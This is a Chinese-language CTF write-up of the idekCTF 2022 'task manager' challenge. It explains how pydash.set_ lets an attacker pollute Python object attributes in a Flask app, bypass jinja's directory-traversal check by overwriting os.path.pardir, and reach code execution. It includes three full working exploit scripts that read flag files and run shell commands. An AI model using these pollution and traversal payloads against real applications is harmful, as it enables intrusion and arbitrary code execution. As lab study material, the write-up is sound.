目录

idekctf 2022* task manager wp

题目有点原型链污染的味道,也可以说是借鉴了 pyjail 的一些思路,很有意思的一道题目。

先来看看源码:

app.py

from flask import Flask, render_template, request, redirect
from taskmanager import TaskManager
import os

app = Flask(__name__)

@app.before_first_request
def init():
    if app.env == 'yolo':
        app.add_template_global(eval)

@app.route("/<path:path>")
def render_page(path):
    if not os.path.exists("templates/" + path):
        return "not found", 404
    return render_template(path)

@app.route("/api/manage_tasks", methods=["POST"])
def manage_tasks():
    task, status = request.json.get('task'), request.json.get('status')
    if not task or type(task) != str:
        return {"message": "You must provide a task name as a string!"}, 400
    if len(task) > 150:
        return {"message": "Tasks may not be over 150 characters long!"}, 400
    if status and len(status) > 50:
        return {"message": "Statuses may not be over 50 characters long!"}, 400
    if not status:
        tasks.complete(task)
        return {"message": "Task marked complete!"}, 200
    if type(status) != str:
        return {"message": "Your status must be a string!"}, 400
    if tasks.set(task, status):
        return {"message": "Task updated!"}, 200
    return {"message": "Invalid task name!"}, 400

@app.route("/api/get_tasks", methods=["POST"])
def get_tasks():
    try:
        task = request.json.get('task')
        return tasks.get(task)
    except:
        return tasks.get_all()

@app.route('/')
def index():
    return redirect("/home.html")

tasks = TaskManager()

app.run('0.0.0.0', 1337)

taskmanager.py

import pydash

class TaskManager:
    protected = ["set", "get", "get_all", "__init__", "complete"]

    def __init__(self):
        self.set("capture the flag", "incomplete")

    def set(self, task, status):
        if task in self.protected:
            return
        pydash.set_(self, task, status)
        return True

    def complete(self, task):
        if task in self.protected:
            return
        pydash.set_(self, task, False)
        return True

    def get(self, task):
        if hasattr(self, task):
            return {task: getattr(self, task)}
        return {}

    def get_all(self):
        return self.__dict__

整个源码比较简单,作者提供了对于 pydash.set_ 的封装,可以通过变量路径设置值,类似一个高级版的 setattr。比如:

>>> pydash.set_({"A":{"B":"C"}}, "A.B", "D")
{'A': {'B': 'D'}}

寻找访问 app 的方法

taskmanager.py 里面调用 pydash.set_() 可以通过实例化的 TaskManager 对象利用特殊属性实现对 app 对象的修改:

pydash.set_(
    TaskManager(),
    '__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.xxx',
    'xxx'
)

将 eval 加入模板全局变量

然后再回来看 app.py ,可以发现一段很奇怪的代码:

@app.before_first_request
def init():
    if app.env == 'yolo':
        app.add_template_global(eval)

https://hxz3zo0taq.feishu.cn/space/api/box/stream/download/asynccode/?code=YjczMTMwMWMyZTY2OGIyNzg1Yzg2NmY0MzdiODBjZjFfb3hoOVltcEJiT0Y2Zkdsbm1CODF1b2JaR0tSNFRRZjNfVG9rZW46Ym94Y25tTTB0dldDSGdnNVIwcUg2SkVtd21ZXzE2NzQyNzg1MzE6MTY3NDI4MjEzMV9WNA

既然 app 已经可控了,如果能够实现 before_first_request 的重复调用那么就可以在模板中实现任意代码执行了,经过一些寻找发现可以通过将 app._got_first_request 设置为 False 实现。

设法调用 eval

接下来就是寻找方法对已经放入模板全局变量的 eval 函数进行调用,而 add_template_global 函数是通过 __name__ 来确定变量名字的,但是 builtin 函数的 __name__ 是只读的,所以没有办法用来改个名字放进去,只有找现有文件中存在 eval 的来当作模板。在题目中只有 app.py 出现了 eval ,可以尝试利用。

这里使用的方法是对 app.jinja_envvariable_start_stringvariable_end_string 进行替换,原本 jinja 是通过识别 {{.*}} 来识别模板中的变量的,但是我们可以通过修改这两个值来更改 jinja 识别变量的方式,从而拼接出一个rce。

绕过 jinja 的目录穿越检查实现任意文件渲染

下面一个问题是现在只能够对 templates 下面的文件进行渲染,但是这里面的 html 很明显是用不了的,所以要想办法让他可以渲染任意文件。

在 jinja 源码(https://github.com/pallets/jinja/blob/36b601f24b30a91fe2fdc857116382bcb7655466/src/jinja2/loaders.py#L24-L38)

https://pics.kdxcxs.com:4433/images/2023/01/21/20230121143335.png
jinja 中的目录穿越检查

可以看到是通过 os.path.pardir 来对目录穿越进行了保护,但是我们可以通过修改 pardir 的值来绕过。

最后在对 app.py 进行利用的时候发现虽然出现了 eval ,但是并没有 eval(.*) 的形式出现,尝试通过修改 app.jinja_envcomment_start_stringcomment_end_string 来让 jinja 把文件的一部分当作注释删掉来凑成一个 eval(.*) 的形式,但是 jinja 解析时会报错,后来发现 {{ eval{# #}(.*) }} 这种中间有注释的模板变量本来就不能正常解析,但是现在既然可以渲染任意文件了,所以可以尝试在 python 库里面寻找出现 eval(.*) 的文件,最后找到了 turtle.py

exp

import requests
import re

base_url = 'http://127.0.0.1:1337'
url      = f'{base_url}/api/manage_tasks'
exp_url  = f'{base_url}/../../usr/local/lib/python3.8/turtle.py'
app      = '__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app'

# add eval to template globals
requests.post(url, json={"task": f"{app}.env", "status": "yolo"})
requests.post(url, json={"task": f"{app}._got_first_request", "status": None})

# bypass jinja directory traversal check
requests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})

# change jinja_env
requests.post(url, json={"task": f"{app}.jinja_env.variable_start_string", "status": """'""']:\n            value = """})
requests.post(url, json={"task": f"{app}.jinja_env.variable_end_string", "status": "\n"})

# add global vars
requests.post(url, json={"task": f"{app}.jinja_env.globals.value", "status": "__import__('os').popen('cat /flag-*.txt').read()"})

# get flag
s = requests.Session()
r = requests.Request(method='GET', url=exp_url)
p = r.prepare()
p.url = exp_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)

非预期

由于作者把 flag 写在 Dockerfile 里面了,并且在构建容器的时候是通过 RUN echo "idek{[REDACTED]}" > /flag-$(head -c 16 /dev/urandom | xxd -p).txt 写的 flag 通过COPY . . 添加的题目代码,这就意味着 Dockerfile 本身也被复制进了容器,所以在实现 LFI 之后就可以直接读取 Dockerfile 就可以拿到 flag 了

import requests
import re

base_url = 'http://127.0.0.1:1337'
url      = f'{base_url}/api/manage_tasks'
exp_url  = f'{base_url}/../Dockerfile'

# bypass jinja directory traversal check
requests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})

# get flag
s = requests.Session()
r = requests.Request(method='GET', url=exp_url)
p = r.prepare()
p.url = exp_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)

通过 jinja2.runtime.exported 实现 rce

https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager

通过 jinja 源码(https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1208) 可以发现模板的生成其实是调用了 environment.from_string,而在 from_string 函数中又调用了(https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1105) environment.compile,并且对 compile 会返回一个 code 对象,后续会被 exec(https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1222),如果我们能够控制这里 exec 的内容那么就可以实现 rce。

经过简单的调试可以 在这里(https://github.com/pallets/jinja/blob/main/src/jinja2/compiler.py#L839) 发现在生成代码的时候有一个可控变量 exported_names,他是 runtime(https://github.com/pallets/jinja/blob/main/src/jinja2/runtime.py#L45) 里面的一个数组,所以我们完全可以通过 pydash.set_() 来进行覆盖,从而达到 rce。

import requests, re

base_url = 'http://127.0.0.1:1337'
url      = f'{base_url}/api/manage_tasks'
flag_url = f'{base_url}/../../tmp/flag'

payload = '''*
__import__('os').system('cp /flag* /tmp/flag')
#'''

# bypass jinja directory traversal check
requests.post(url, json={"task": "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})

# replace exported to prepare rce
requests.post(url, json={"task": "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0", "status": payload})

# trigger rce
requests.get(f'{base_url}/home.html')

# get flag
s = requests.Session()
r = requests.Request(method='GET', url=flag_url)
p = r.prepare()
p.url = flag_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)